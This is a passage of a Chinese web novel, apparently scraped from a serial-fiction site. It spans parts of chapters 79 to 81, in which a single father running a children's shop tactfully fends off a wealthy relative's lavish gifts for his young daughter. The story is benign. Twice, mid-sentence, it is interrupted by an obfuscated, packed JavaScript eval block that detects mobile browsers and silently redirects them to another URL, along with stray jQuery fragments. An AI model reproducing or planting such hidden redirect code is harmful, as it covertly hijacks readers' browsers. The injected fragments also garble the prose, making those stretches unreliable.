我要给房子搭个漂亮的屋顶!而且这个屋顶要尖尖的,就像童话故事里公主住的城堡一样! 爸爸说公主的城堡都有尖尖的屋顶,这样坏人就进不来啦。对了王叔叔,你说这个屋顶要不要再加点黄色的积木当装饰呀?” 王猛笑着点点头,从装满各种颜色、形状积木的塑料盒里仔细挑出红色积木递给她,还故意逗她: “好嘞,笑笑要搭个这么漂亮的大房子给谁住呀?是给笑笑自己当公主城堡吗?说不定搭好了,还能引来小王子呢。要是真有小王子来,你打算跟他分享你的积木吗?” 笑笑歪着脑袋想了想,小手指着积木,又指了指不远处的林凡,脆生生地回答: “给爸爸,爸爸每天看店好辛苦,要让他住最舒服的房间,房间里还要放好多爸爸喜欢的书,爸爸最喜欢看关于动物的书了; 还要给王叔叔,王叔叔经常陪我玩,上次还带我去公园荡秋千呢,我要在给王叔叔的房间里放一个小秋千;还有……还有刚才那个舅舅住!” 她说着,还偷偷瞄了一眼苏瑾瑜,小脸上满是天真,手里还拿着一块黄色积木,像是在规划给苏瑾瑜的房间要搭配什么颜色,“刚才那个舅舅穿的衣服是黑色的,那他的房间用黄色好不好? 黄色暖暖的,就像太阳一样,舅舅住进去肯定会很开心。舅舅,你喜欢黄色吗?” 苏瑾瑜被笑笑突然的提问逗笑了,眼神里的疏离淡了几分,他起身走到笑笑身边,蹲下身,尽量让自己的视线与笑笑平齐,轻声问道:“笑笑觉得黄色好看吗?那你最喜欢什么颜色呀? 舅舅觉得黄色特别好,像你这么可爱的小朋友,选的颜色肯定没错。” 笑笑见苏瑾瑜主动和自己说话,一点也不害怕了,她举起手里的粉色积木,开心地说:“我最喜欢粉色啦!你看这个粉色积木,像不像我头上的蝴蝶结? 妈妈以前也给我买过粉色的裙子,可漂亮了,我穿着裙子转圈圈的时候,裙子就像小伞一样张开。不过妈妈现在不在身边,爸爸说妈妈去了很远的地方,等我长大了就能见到她了。” 苏瑾瑜听到这话,眼神暗了暗,随即又温柔地说:“笑笑的裙子一定很好看,等你下次见到妈妈,穿给妈妈看,妈妈肯定会特别开心。” 他又转向林凡,问了些无关痛痒的问题:“笑笑平时最喜欢吃什么呀?是甜食还是家常菜? 我听家里人说,小孩子好像都对甜食没有抵抗力,我小侄女就特别喜欢吃巧克力,每次见到我都要我给她买,不给买就撒娇。” 林凡连忙回答:“她最喜欢吃我做的番茄炒蛋,我特意把番茄熬得软烂,汤汁浇在米饭上,她每次都能吃小半碗饭,比平时多吃不少。 有一次我把番茄切得太大了,她还说‘爸爸,番茄要切小一点,这样才好吃’,现在我每次做都会切得碎碎的,还会放一点点糖提鲜。 有时候路过街角的蛋糕店,还会念叨着要吃草莓味的小蛋糕,不过我怕她吃多了甜的不好,容易长蛀牙,每次都只买小块的,让她解解馋。 上次她吃完蛋糕,还主动去刷牙,说要保护小牙齿,刷完牙还跟我炫耀‘爸爸你看,我的牙齿白白的’。” “那晚上睡觉乖不乖?会不会闹着要听故事?我听说有些孩子睡前不讲故事就不肯睡觉,特别黏人,我小侄女每天都要听三个故事才肯睡,有时候一个故事还要重复讲好几遍。” 苏瑾瑜又问,目光不经意间扫过林凡眼角的细纹,那是常年熬夜照顾孩子、打理店铺留下的痕迹,像是岁月在他脸上刻下的温柔印记。 “挺乖的,”林凡脸上露出一丝温柔,眼角的细纹也显得柔和了些,他走到货架旁,拿起一本封面印着小熊的绘本, “每天晚上睡前都要我给她讲《小熊的故事》,就是这本讲小熊和妈妈一起探险的书,她都听了几十遍了还不腻。 每次我讲到小熊遇到困难不害怕的时候,她还会跟着说‘要像小熊一样勇敢’,有时候她自己摔倒了,也会站起来说‘我是勇敢的笑笑,不怕疼’。 听着听着就睡着了,很少哭闹。不过有一次她做了噩梦,梦见找不到我了,醒了之后抱着我哭,我就给她讲了好久的故事,还抱着她在房间里走了好几圈,直到她再次睡着, 那天我几乎一夜没合眼,第二天开店的时候都有点没精神,还好有王猛来帮忙看了会儿店。” 林凡回答得仔细,却没多说多余的话,生怕自己哪句话说得不合适,破坏了现在难得的平和氛围。 笑笑听着爸爸和苏瑾瑜聊自己的事情,也凑了过来,拉着苏瑾瑜的手说:“舅舅,我现在可勇敢了!上次我打针都没哭,护士阿姨还夸我是乖孩子呢,还给了我一颗甜甜的糖。 我还会自己穿衣服、穿鞋子,爸爸都说我长大了。昨天我还自己把袜子洗了呢,虽然洗得不太干净,但是爸爸还是表扬我了。舅舅,你小时候打针哭不哭呀?” 苏瑾瑜摸了摸笑笑的头,温柔地说:“笑笑真厉害,比舅舅小时候还勇敢呢。舅舅小时候打针都会哭,哭得可大声了,还是奶奶哄了好久,给我买了个糖葫芦才好。 笑笑还会洗袜子,真是个能干的小朋友,舅舅像你这么大的时候,还不会自己洗袜子呢。” 不知不觉,夕阳渐渐西沉,金色的余晖透过玻璃窗斜斜地洒在店里,给货架上的玩具、绘本都蒙上了一层温暖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683091|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滤镜,店里的光线也柔和了许多。 货架上的毛绒玩具在夕阳下显得格外可爱,绘本的封面也泛着淡淡的金光。 苏瑾瑜站起身,整理了一下衣角,定制西装的面料垂坠感极好,衬得他身形挺拔,状似无意地说: “我这次来这边,主要是处理苏家集团在本地的一个合作项目,就是城东那个儿童乐园的建设项目。 之前因为设计方案的问题耽搁了些时间,一开始的方案没有考虑到低龄儿童的需求,设施太复杂了,后来我们专门邀请了儿童行为学专家参与修改, 增加了很多适合3-6岁孩子的设施,比如软质攀爬区、迷你小火车,还有一个专门的绘本阅读角,里面会放很多适合小朋友的书,就像你这家店里的一样。 现在事情差不多办完了,过两天就回京城。 爷爷还在家等着我的消息,他老人家年纪大了,记性不如以前,但每次打电话都要问起笑笑,一直很惦记她,上次还说要给笑笑买个银长命锁,说能保佑笑笑平平安安的。” 他顿了顿,目光落在林凡身上,语气里带着几分期待,少了之前的居高临下: “我希望下次再来的时候,我们能坐下来好好聊聊,不用像现在这样拘束,比如可以一起尝尝你做的番茄炒蛋,听听笑笑讲她新发现的积木搭建技巧。 毕竟,我们都是为了笑笑好,对吗?我还想听听你经营这家店的更多故事,感觉你在照顾孩子和开店方面,都很有心得。” 说完,他伸出手,想和林凡握手。 林凡看着那只手—— 骨节分明,指甲修剪得整整齐齐,指腹没有一点老茧,一看就是长期养尊处优、很少干粗活的人,再对比自己手上因常年搬货、 整理货架留下的薄茧,还有虎口处不小心被货架刮到的细小疤痕,心里泛起一丝局促。 他犹豫了几秒,在裤子上悄悄擦了擦手,想到笑笑刚才说要给苏瑾瑜搭房子的话,想到孩子天真的期盼,最终还是伸手握了握。 苏瑾瑜的手很有力,握得也很紧,像是在传递某种认可的信号,没有丝毫敷衍,那股力量让林凡心里的不安渐渐消散。 “再见,林先生。” 苏瑾瑜松开手,弯腰轻轻摸了摸笑笑的头,指尖触到孩子柔软的头发,语气比之前温和了许多, “笑笑再见,舅舅下次来的时候,给你带好玩的玩具,就是你上次在电视里看到的那个会唱歌的小兔子玩偶,一按它的耳朵就会唱儿歌,还会发光呢。 还有你喜欢的草莓味小蛋糕,而且是那家最有名的‘甜心蛋糕房’做的,他们家的蛋糕用的都是动物奶油,不甜不腻,口感特别好。 舅舅还想问问你,下次来的时候,你能不能教舅舅搭你说的那个会飞的小飞机呀?” 这次,笑笑没有躲闪,之前面对陌生人的胆怯似乎消散了不少,只是眨着圆溜溜的大眼睛看着他,小手还轻轻拉了拉他的衣角,声音软软的: “舅舅,那你下次什么时候来呀?我肯定教你搭会飞的小飞机,我搭的小飞机可像了! 上次我搭的小飞机还带着爸爸的小摆件飞起来过呢,虽然只飞了一点点高,但是爸爸说已经很厉害了。舅舅,你可不能说话不算数哦,不然我就不给你搭专属房间了。” 苏瑾瑜的心瞬间被触动,像是有一股暖流从心底涌上来,暖得他眼眶都有些发热。 他笑着说:“等舅舅忙完京城的事情,很快就会来的,最多一个月。 到时候舅舅一定跟笑笑学搭会飞的小飞机,还要看笑笑给我搭的专属房间,要是笑笑愿意,舅舅还可以陪你去公园荡秋千,就像王叔叔一样,还可以给你买你喜欢的棉花糖。” 笑笑开心地跳了起来,拍着小手说:“太好了!舅舅说话要算数哦,我们拉钩!拉钩之后就不能反悔了,不然就是小狗。”说着,她伸出小手指,期待地看着苏瑾瑜。 苏瑾瑜也伸出小手指,和笑笑拉了拉钩,认真地说:“拉钩上吊,一百年不许变!谁反悔谁就是小狗。”拉完钩,他又轻轻捏了捏笑笑的小脸蛋,手感软软的,特别可爱。 林凡看着眼前这一幕,悬着的心终于放了下来,紧绷的肩膀也放松了些。 他看着苏瑾瑜和笑笑温和互动的画面,看着夕阳下店里温暖的场景,货架上的绘本、玩具仿佛都在微笑, 知道或许从这一刻起,他和苏瑾瑜之间的关系,不再是之前的紧张与对立,有了新的可能。 而这一切,都是因为笑笑这份天真无邪的心意,像暖阳一样融化了彼此之间的隔阂,在这个小小的店铺里,种下了温暖的种子。 王猛也在一旁笑着,心里想着,以后这个小店,肯定会越来越热闹,越来越温暖。 第80章:糖衣之外的温暖 送走苏瑾瑜,“笑笑宝贝屋”里又恢复了往日的安静,只剩下风铃偶尔发出的轻响,那清脆的声音像是在诉说着小店日常的温馨。 阳光透过橱窗斜斜地照进来,在地板上投下斑驳的光影,货架上五颜六色的童装被照得格外鲜亮,角落里堆放的积木还保持着笑笑昨天搭到一半的模样。 王猛往门口望了望,看着苏瑾瑜那辆黑色轿车渐渐消失在街角,车尾灯在远处的路口闪了一下便彻底不见,他才长舒一口气,快步走到柜台旁那堆印着烫金花纹的礼物袋边。 这些袋子一看就价值不菲,袋口系着的丝带都泛着细腻的光泽,和店里平价的包装格格不入。 他蹲下身,小心翼翼地打开最上面一个—— 一件浅粉色的公主裙露了出来,裙摆缀着细碎的珍珠,每一颗都圆润饱满,手摸上去像云朵一样软滑,指尖传来的细腻触感让他忍不住感叹。 “我的乖乖,这料子摸着就不便宜,” 王猛捏着裙摆啧啧称奇,手指在布料上轻轻滑动,“我上次陪我家侄女去买裙子,同款面料的在商场里至少要三百多,这裙子看着做工更精致,怕是要上千了!” 他又翻出袋里的巧克力盒子,盒子上精致的花纹在灯光下显得格外亮眼,金色的纹路勾勒出欧式城堡的图案, “你看这包装,上次我在进口超市见过,一盒要小三十块呢!而且就那么几颗,我都舍不得给我侄女买。 林凡,你说苏瑾瑜这到底想干嘛?又是裙子又是巧克力的,突然这么大方,不会是想把笑笑接回北京吧?” 他一边说,一边眼神担忧地看向林凡,双手不自觉地握紧了巧克力盒子,指节都微微泛白。 林凡没接话,只是拿起那个被他退回的洋娃娃盒子。 指尖碰到硬纸盒时,盒面上印着的卡通图案有些硌手,他想起刚才苏瑾瑜递来的样子——对方笑着说“笑笑肯定喜欢”,语气里带着不容拒绝的熟稔,那笑容背后隐藏的意图让他心里一阵警惕。 苏瑾瑜当时还特意打开盒子展示,说这是从国外空运来的限量款,北京的很多小朋友都抢着要。 他轻轻打开盒子,里面的洋娃娃眨了眨蓝色的眼睛,眼睫毛是用细绒毛做的,仿佛在对人微笑,裙摆上的亮片在灯光下闪着细碎的光,晃得人有些睁不开眼,娃娃的手里还握着一把小小的蕾丝伞,精致得让人移不开目光。 他太清楚笑笑会有多喜欢这个娃娃。 就在上周六,他带笑笑去商场买生活用品,路过玩具区时,女儿突然停下脚步,在童装区指着画册上的公主娃娃,小手指着娃娃, 小声说“想和它做朋友”,眼里满是渴望的光芒,还拉着他的衣角晃了晃,说要是能有一个这样的娃娃,晚上睡觉都能笑醒。 可他更明白,这娃娃就像裹着糖衣的**,一旦收下,后面就会有更多“糖”涌来—— 北京大院的车接车送、价值不菲的玩具、他从未接触过的“苏家生活”,最后只会把他和笑笑的日子彻底打乱。 他还记得,之前有个远房亲戚,就是因为接受了别人看似善意的贵重礼物,对方一开始只是偶尔送些东西,后来就开始提出各种要求,亲戚无法拒绝, 一步步卷入麻烦中,原本平静的生活变得一团糟,最后连家里的积蓄都搭了进去。 这个案例时刻提醒着他不能轻易接受苏瑾瑜的东西,人心一旦被物质诱惑,就很难再回到简单的生活里。 林凡把娃娃轻轻放回盒子,仔细扣好卡扣,每一个卡扣都按得严严实实,仿佛这样就能隔绝掉苏瑾瑜带来的干扰。 接着又把那些裙子、巧克力、进口水果一一整理好,摆到角落笑笑的小垫子旁—— 那是女儿平时玩积木的地方,垫子上还沾着几块彩色的积木碎屑,是昨天搭积木时不小心掉的,旁边还有笑笑昨天不小心掉落的小发卡, 粉色的卡子上镶着一颗小小的塑料钻,虽然不贵重,却是笑笑最喜欢的饰品,这些小物件都充满了女儿的气息,让这个角落变得格外温馨。 做完这些,他转身走向货架旁的小沙发。笑笑正蜷在沙发上,小嘴巴撅得能挂住小勺子,怀里还抱着个旧布偶—— 那是林凡去年用边角料给她缝的小兔子,耳朵都有些磨**了,兔子的眼睛还是用黑色的纽扣缝的,可笑笑一直把它当成宝贝,走到哪都要带着,晚上睡觉也必须抱着才能睡着。 “我们笑笑怎么了?是不开心了吗?” 林凡在女儿身边坐下,轻轻把她抱进怀里,手掌温柔地拍着她的后背,感受着女儿小小的身体在怀里微微颤抖。 小家伙把头扭到一边,小声嘟囔:“那个舅舅的娃娃好漂亮,眼睛蓝蓝的,还有亮片裙子,我从来没见过这么好看的娃娃。 可是爸爸不让要……我就偷偷看了一眼,真的好喜欢,爸爸,我是不是很不听话呀?”说着,小肩膀还轻轻抽了一下,声音里满是委屈。 林凡抱着女儿走到窗边,下午的夕阳正慢慢沉下去,把天空染成了温柔的橘红色,给整个世界都镀上了一层温暖的光晕。 街对面的老槐树底下,一个骑着三轮车的老人慢悠悠地经过,车斗里堆着捆好的废品,用绳子整齐地绑着,每一束都码得很规整, 车把上挂着个布袋子,袋子口露出半截白馒头,看起来还冒着热气,应该是刚从旁边的包子铺买的; 不远处的小卖部前,一个小女孩拉着妈妈的手,手里举着一串红彤彤的冰糖葫芦,糖衣在夕阳下亮晶晶的,像一串串小灯笼, 她咬下一颗,甜甜的味道让她笑得眼睛都弯成了月牙,那开心的模样感染了周围的人,连小卖部的老板都忍不住笑着看她。 “笑笑你看,”林凡指着窗外,声音放得很轻,生怕打扰到这美好的画面,“你看那个爷爷,虽然拉着废品,但他袋子里有刚买的馒头,晚上就能吃热乎饭,说不定还能就着自己腌的咸菜,多香啊。 爷爷靠自己的双手赚钱,吃起饭来肯定特别踏实; 还有那个妹妹,她手里的糖葫芦是不是比巧克力还好看?你上次吃糖葫芦的时候,不也说比糖果还甜吗? 当时你还说,糖葫芦外面的糖衣脆脆的,里面的山楂酸酸的,吃起来特别过瘾呢。” 笑笑顺着爸爸的手指望出去,小脑袋轻轻点了点,眼睛里的失落渐渐消散了一些: “糖葫芦红红的,像小灯笼,上次爸爸给我买的,咬一口脆脆的,甜甜的,还有山楂的酸味,可好吃了。 我记得那天我还把最上面的一颗留给爸爸了,爸爸说太酸,又给我吃了。”说着,小家伙的嘴角微微上扬,想起了当时的甜蜜场景。 “是啊,”林凡揉了揉女儿的头发,指尖感受到女儿柔软的发丝,心里满是疼爱, “世界上有很多种开心的事,不是只有昂贵的玩具才能带来快乐。 那个娃娃是很漂亮,可爸爸觉得,能和你在店里搭积木,看着你把积木搭成小房子,还说要给爸爸留一个房间,让爸爸住最大的那间; 能带你去公园跑着追蝴蝶,看你追着蝴蝶跑得上气不接下气,还笑得特别大声,连头发都跑乱了; 能每天给你买一串糖葫芦,看着你吃得一脸满足,嘴角还沾着糖渣,这些才是最开心的。爸爸可能给不了你最贵的玩具,但爸爸会把店开好,每天都陪你玩,让你每天都笑,好不好?” 他一边说,一边轻轻刮了刮笑笑的小鼻子,逗得笑笑咯咯直笑。 笑笑仰起头,看着爸爸认真的眼睛,那眼睛里满是对自己的爱,像夜空里最亮的星星。 她伸出小手,轻轻摸了摸爸爸下巴上的胡茬,有点扎手,却很有安全感,然后小脑袋往他肩膀上一靠,用小胳膊紧紧搂住他的脖子,小声说: “笑笑不要贵娃娃,有爸爸陪我搭积木就好啦。上次我们搭的城堡还没完成呢,今天晚上我们继续搭好不好? 我们还要给城堡搭一个小花园,种上五颜六色的花。还有糖葫芦吃,就很开心啦。爸爸,我还想让你给我讲小兔子的故事,就是你上次没讲完的那个,小兔子后来找到妈妈了吗?” “好啊,晚上咱们吃完晚饭,就坐在小沙发上,爸爸给你讲小兔子的故事,咱们还一起搭积木,把城堡搭得更高更大,再给城堡装上门和窗户,让小兔子也能住进去。” 林凡笑着答应,心里暖暖的,抱着女儿的手臂又紧了紧,感受着这份来之不易的幸福。 夕阳的余晖透过玻璃窗,把父女俩的影子拉得长长的,映在摆满童装和文具的货架上,像一幅暖融融的画。 货架上的童装上还挂着可爱的小蝴蝶结,有的是粉色的,有的是蓝色的,随风轻轻晃动; 文具区的铅笔整齐地摆放在笔筒里,有带卡通图案的,还有纯色的,旁边的笔记本上还贴着笑笑画的小花朵贴纸,这些都让小店充满了生活的气息。 林凡抱着女儿,能清晰地感受到她小小的身体里的温度,还有她贴在自己耳边的呼吸声,那细微的声音让他心里无比踏实。 他忽然想起三个月前,笑笑感冒发烧,夜里烧到39度,小脸通红,呼吸都有些急促,嘴唇也干得起皮。 他抱着女儿往医院跑,路上寒风刺骨,像刀子一样刮在脸上,他把自己的外套裹在女儿身上,自己只穿着一件单薄的毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688672|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,冻得瑟瑟发抖。 女儿迷迷糊糊地靠在他怀里,用微弱的声音说“爸爸别担心,笑笑不疼”,那一刻他就下定决心,要给女儿一份安稳的生活——不用多富裕,但要踏实; 不用多光鲜,但要温暖。苏家的世界再耀眼,有豪华的别墅、昂贵的跑车,有佣人随时伺候,也不是属于他们的。 他宁愿笑笑在这个满是布料香和铅笔屑味的小店里长大,过着平凡却踏实的日子,也不想让她在一堆昂贵的礼物里,弄丢了最质朴的快乐。 就像隔壁家的小朋友明明,家里很有钱,父母开着大公司,给他买了各种各样的玩具,堆满了整个房间,可每天都见不到爸爸妈妈,总是一个人在家,由保姆照顾,一点都不开心。 有一次明明来店里玩,看着笑笑和林凡一起搭积木,眼里满是羡慕,还小声对笑笑说“我也想让爸爸妈妈陪我玩”。 笑笑还经常跟林凡说,觉得明明好可怜,有那么多玩具,却没有爸爸妈妈的陪伴。 “对了爸爸,”笑笑突然抬起头,手指着柜台旁的小黑板,眼睛亮晶晶的,像两颗闪烁的星星,“今天王叔叔教我写‘笑’字了, 他还说我写得比他小时候好多了,他小时候写‘笑’字,把下面的‘夭’写成了‘天’,被老师批评了呢。 我能写给你看吗?我还想给‘笑’字加上小太阳,再画几朵小花,这样‘笑’字就更开心了,就像我每天的心情一样。” “当然能,爸爸特别想看看我们笑笑写的‘笑’字,肯定特别好看,比店里所有的画都好看。” 林凡笑着点头,抱着女儿走到黑板前。 王猛早就找来了彩色粉笔,放在黑板旁边的小盒子里,还特意挑了笑笑喜欢的粉色和黄色,甚至还准备了一支白色的粉笔,让笑笑画云朵。 笑笑踮着脚,小手握着粉笔,因为力气小,手指都有些发白,一笔一划地写起来,小脸上满是认真的神情,眉头微微皱着,嘴巴还小声念叨着“先写一点,再写一横,然后写撇……” 虽然“笑”字的两点写得歪歪扭扭,像两个小圆圈,下面的“夭”也写得有些倾斜,但林凡看着,心里比吃了蜜还甜。 他拿出相机,悄悄把这一幕拍了下来,想把这美好的瞬间永远保存下来,等笑笑长大了,再拿给她看,让她知道小时候的自己有多可爱。 王猛在一旁看着,悄悄拍了拍林凡的肩膀,声音里满是愧疚:“你说得对,咱这日子虽然普通,但踏实,每天能看着笑笑这么开心,比啥都强。 刚才我不该瞎琢磨,还怀疑苏瑾瑜的意图,却没考虑到你和笑笑的感受,光顾着自己瞎担心了。 以后咱好好把店开好,多进点笑笑喜欢的小裙子,就选那种带小碎花的,笑笑穿上肯定好看;还有小朋友们爱买的文具,多进点带卡通图案的笔记本和铅笔,让笑笑每天都能在店里开开心心的。 下次苏瑾瑜再来,我帮你一起拒绝他,不能让他打扰咱们的生活,要是他敢硬塞东西,我就把东西给他退回去,跟他说清楚,我们不稀罕他的东西。” 林凡点点头,目光又落回女儿身上,看着女儿在黑板上画小太阳,小太阳的光芒画得长长的,还在旁边画了一个小小的爸爸和小小的自己,两个人手牵着手,脸上都带着笑容。 他嘴角不自觉地上扬:“嗯,咱们一起把店经营好,让这里一直充满笑笑的笑声,成为笑笑最温暖的家。” 他知道,苏瑾瑜这次的“糖衣”攻势只是开始,北京的苏家不会轻易放弃,毕竟笑笑是他们苏家的血脉,他们肯定还会想各种办法来争取笑笑的抚养权。 但他不怕——他有这家装满了笑声的小店,店里的每一个角落都充满了他和笑笑的回忆,货架上的每一件衣服、每一支铅笔都见证着他们的幸福; 有王猛这个靠谱的搭档,在他遇到困难的时候,总能伸出援手,陪他一起面对;还有笑笑这个让他满心牵挂的女儿,是他前进的最大动力,只要有笑笑在,他就有勇气面对一切挑战。 夕阳渐渐落下,最后一缕余晖消失在天边,店里的灯被打开,暖黄色的光洒在货架上的童装上,也洒在父女俩的笑脸上,把整个小店都照得暖洋洋的。 林凡看着女儿拿着粉笔在黑板上画小太阳,还在旁边画了几只小鸟,嘴里哼着不成调的儿歌,心里格外坚定: 不管后面有多少考验,不管苏瑾瑜还会用什么方法来争取笑笑,他都会守住这家小店,守住这份简单却珍贵的幸福, 守护好笑笑眼里的光,让女儿永远都能笑得这么开心、这么纯粹,让她在充满爱的环境里,健康快乐地长大。 第81章: 彩虹橡皮 瑾瑜那辆线条流畅的黑色轿车,终于彻底消失在小县城尘土飞扬的尽头。 那是一辆最新款的进口轿车,车身泛着冷冽的金属光泽,与小县城斑驳的水泥路、低矮的红砖房形成鲜明对比。 车轮卷起的土雾像一层薄纱,在秋日的微风里渐渐散去,空气中还残留着汽车尾气淡淡的味道,直到街道上熟悉的烟火气才重新裹了上来—— 穿灰布棉袄的大爷推着插满红玛瑙似的糖葫芦的木车,车把上挂着块褪色的蓝布巾,布料边缘已经起了**球,“冰糖葫芦哎——” 的吆喝声裹着糖霜的甜香飘远,那甜香里带着山楂的微酸,引得路边玩耍的孩子频频回头,有的孩子拽着大人的衣角,眼睛直勾勾地盯着糖葫芦,嘴里还小声嘟囔着“我要吃”; 二八大杠自行车的铃铛“叮铃叮铃”地从身边掠过,车后座载着扎羊角辫的小姑娘,粉色的发绳随着车身晃动,她怀里抱着个布娃娃,娃娃的裙子有些脏了, 却是小姑娘的宝贝,小脚丫随着车轮转动轻轻晃悠,偶尔还会碰到自行车的辐条,发出轻微的“哒哒”声。 可林凡站在“笑笑宝贝屋”的玻璃门内,握着账本的手却始终没松下来,指节甚至泛了点白,玻璃上倒映出他紧锁的眉头,那眉头间的纹路深深的,与门外的热闹格格不入,仿佛隔着两个世界。 账本的纸页带着刚从打印机里出来的温热,指尖划过“上月童装专柜销售额3.2万元,同比增长45%”那行字时,他却半点没觉得轻松。 要知道,在这个常住人口不足五万、人均月收入刚过三千的小县城里,3.2万元的销售额已经是不少小店两三个月的业绩总和,可这3.2**,藏着多少个起早贪黑的日子—— 春天赶在开学前囤满卡通图案的书包,为了挑到孩子们喜欢的动画形象,他在批发市场的摊位前蹲了整整三天。 批发市场里人声鼎沸,各个摊位的老板都在卖力吆喝,空气中混杂着布料、塑料和零食的味道,他拿着最新的儿童动画收视率报表,逐个对比十几家摊位的书包, 不仅要看图案印刷是否清晰、颜色是否鲜艳,还要反复摩挲面料,检查缝线是否牢固,生怕有一点质量问题; 夏天顶着近四十度的烈日去进货,柏油路面被晒得发软,脚踩上去都能感觉到热气往上冒,后背的衬衫湿了又干、干了又湿,留下一圈圈白色的盐渍,他却毫不在意, 只为挑到透气吸汗的短袖,怕孩子们穿得闷,还特意拿样品在自己胳膊上贴一会儿,感受面料的舒适度; 秋天蹲在仓库里给外套钉加固的纽扣,仓库里没有暖气,秋风从窗户缝隙里钻进来,冻得人手指发麻,指尖被针扎破好几次,鲜血渗出来, 他只是随便用纸巾擦一下,继续干活,却还是坚持每一件都检查到位,确保纽扣不会轻易脱落; 冬天守着烤箱给进店的顾客热姜茶,暖乎乎的茶水递出去,总能收获顾客一句真心的“谢谢”,有的顾客还会特意多聊几句,分享自家孩子的趣事,这些温暖的瞬间,成了他坚持下去的动力。 可苏家那座在北京城里赫赫有名的四合大院,就像一棵根系深不见底的老槐树,枝桠不知不觉间已伸到他的生活里。 那座四合院位于北京核心地段,青砖灰瓦,门口挂着古朴的红灯笼,据说光是院子里的那棵百年老槐树,就价值不菲。 小舅苏瑾瑜随口提的“有需要随时找我”,背后是苏家集团在商界翻云覆雨的实力。 苏家集团涉及房地产、金融、零售等多个领域,去年营收突破百亿,在全国百强企业中稳居前列。 去年他店里资金周转不开,当时正值换季进货的关键时期,急需八万资金,他跑了好几家银行,都因为店铺规模小、缺乏抵押物而被拒绝。 自93年10月初苏瑾瑜寻到自己和笑笑,至今不过两月有余,林凡掐指算着,两人连同笑笑也就见了三四回面。 每回见面的场景都清晰得像昨天发生的事—— 有时是在街角那家飘着甜香的蛋糕店,笑笑攥着苏瑾瑜给买的草莓奶油卷,嘴角沾着糖霜,苏瑾瑜就笑着掏出手帕,轻轻替孩子擦干净; 有时是在自家小铺的后院,苏瑾瑜会带来些新鲜的蔬菜,说是家里菜园种的,还蹲下身陪笑笑看花盆里刚冒头的小苗,阳光落在三人身上,暖得让人心里发柔。 苏家其他长辈他都还没见过,连电话也没通过,彼此的印象,全是从苏瑾瑜偶尔的提起里拼凑出来的。 他们之间从没有过任何实际的财务接触,可林凡偶尔还是会想起苏瑾瑜说过的话。 那天苏瑾瑜看着他小铺里堆积的货箱,轻声提了句“要是资金周转有需要,我或许能帮上点忙”,语气里满是真诚,没有半分居高临下。 林凡知道,以苏家的能力,真要帮衬,或许一个电话就能为他解决不少难题,比如他之前偶尔发愁的资金流转,若真能得到助力,说不定能少走许多弯路。 可他心里总有些沉甸甸的,不是不愿接受善意,而是这份刚建立不久的亲情,在他看来珍贵又脆弱,他怕一旦牵扯进利益,会让这份纯粹的温暖变了味。 关于姥爷苏振邦,林凡只从苏瑾瑜口中听过零星片段。 知道老人曾在部队担任重要职务,退休后依旧保持着军人的习惯,穿着朴素的中山装,头发虽有些花白,眼神却格外明亮,说话做事自带不容置疑的威严。 苏瑾瑜偶尔会带些姥爷的叮嘱来,大多是关于生意的: “姥爷说,做小生意得把客源摸透,别守着老路子”“姥爷还问,进货时有没有对比过几家的价格,成本能压一点是一点”。 这些话经由苏瑾瑜温和的语气传递过来,没有半分审视的压迫感,反倒像长辈隔着距离的牵挂。 林凡听着,总会认真记在心里,有时还会顺着话头问几句姥爷的日常,苏瑾瑜便笑着讲些老人侍弄菜园、读旧报纸的小事,让他对这位素未谋面的长辈,多了几分亲切感。 只是偶尔夜深人静时,林凡还是会有些微妙的思绪。 他看着身边熟睡的笑笑,想起苏瑾瑜温和的笑脸,又想起那位素未谋面却常念着他生意的姥爷,总觉得眼前这份突如其来的安稳,像一场温柔的梦。 就像春日里平静的湖面,阳光洒在水面上泛着粼粼波光,偶尔会有微风拂过,掀起一圈圈细小的涟漪,不是让人不安的风浪,而是带着生机的悸动。 他知道,这份与苏家的联结才刚刚开始,未来或许会有与其他长辈见面的时刻,也可能会遇到未知的挑战,但此刻掌心的温度、 耳边的牵挂,都让他相信,那些看不见的“暗流”,终会被这份温暖的亲情慢慢抚平,变成往后岁月里最坚实的依靠。 “爸爸!爸爸! 你又对着账本发呆啦?” 清脆的童声像颗小石子,“咚”地一下打破了店里的安静。 四岁半的笑笑抱着刚从货架上抱下来的兔子玩偶,玩偶的长耳朵还沾着点毛绒,是上次进货时她自己挑的, 当时在一堆玩偶里,她一眼就看中了这只白色的兔子,如今已经成了她形影不离的小伙伴,吃饭、睡觉都要抱着。 她踮着脚尖凑到林凡身边,软乎乎的小手轻轻扯了扯他的衣角,小脸上满是期待: “王叔叔刚才偷偷跟我说,今天进了新的彩虹橡皮!就是那种能掰成一小块、每块颜色都不一样的,我能拿一块吗?” 她一边说,一边眨巴着大大的眼睛,那眼神里充满了渴望,让人不忍心拒绝。 林凡立刻把账本合起来,小心翼翼地放到收银台抽屉里,生怕边角被折坏。 那本账本是他精心挑选的,封面是耐磨的皮质,里面每一页都记录得清清楚楚,不仅有销售额、进货成本,还有顾客的反馈和建议。 他弯腰稳稳地把女儿抱到腿上,手臂轻轻环着她小小的身子,鼻尖能闻到女儿头发上淡淡的洗发水香味,那是儿童专用的草莓味洗发水,清新又好闻。 他指尖轻轻刮了刮笑笑乖巧的小鼻子,笑着说: “当然可以啊,不过得答应爸爸一个条件—— 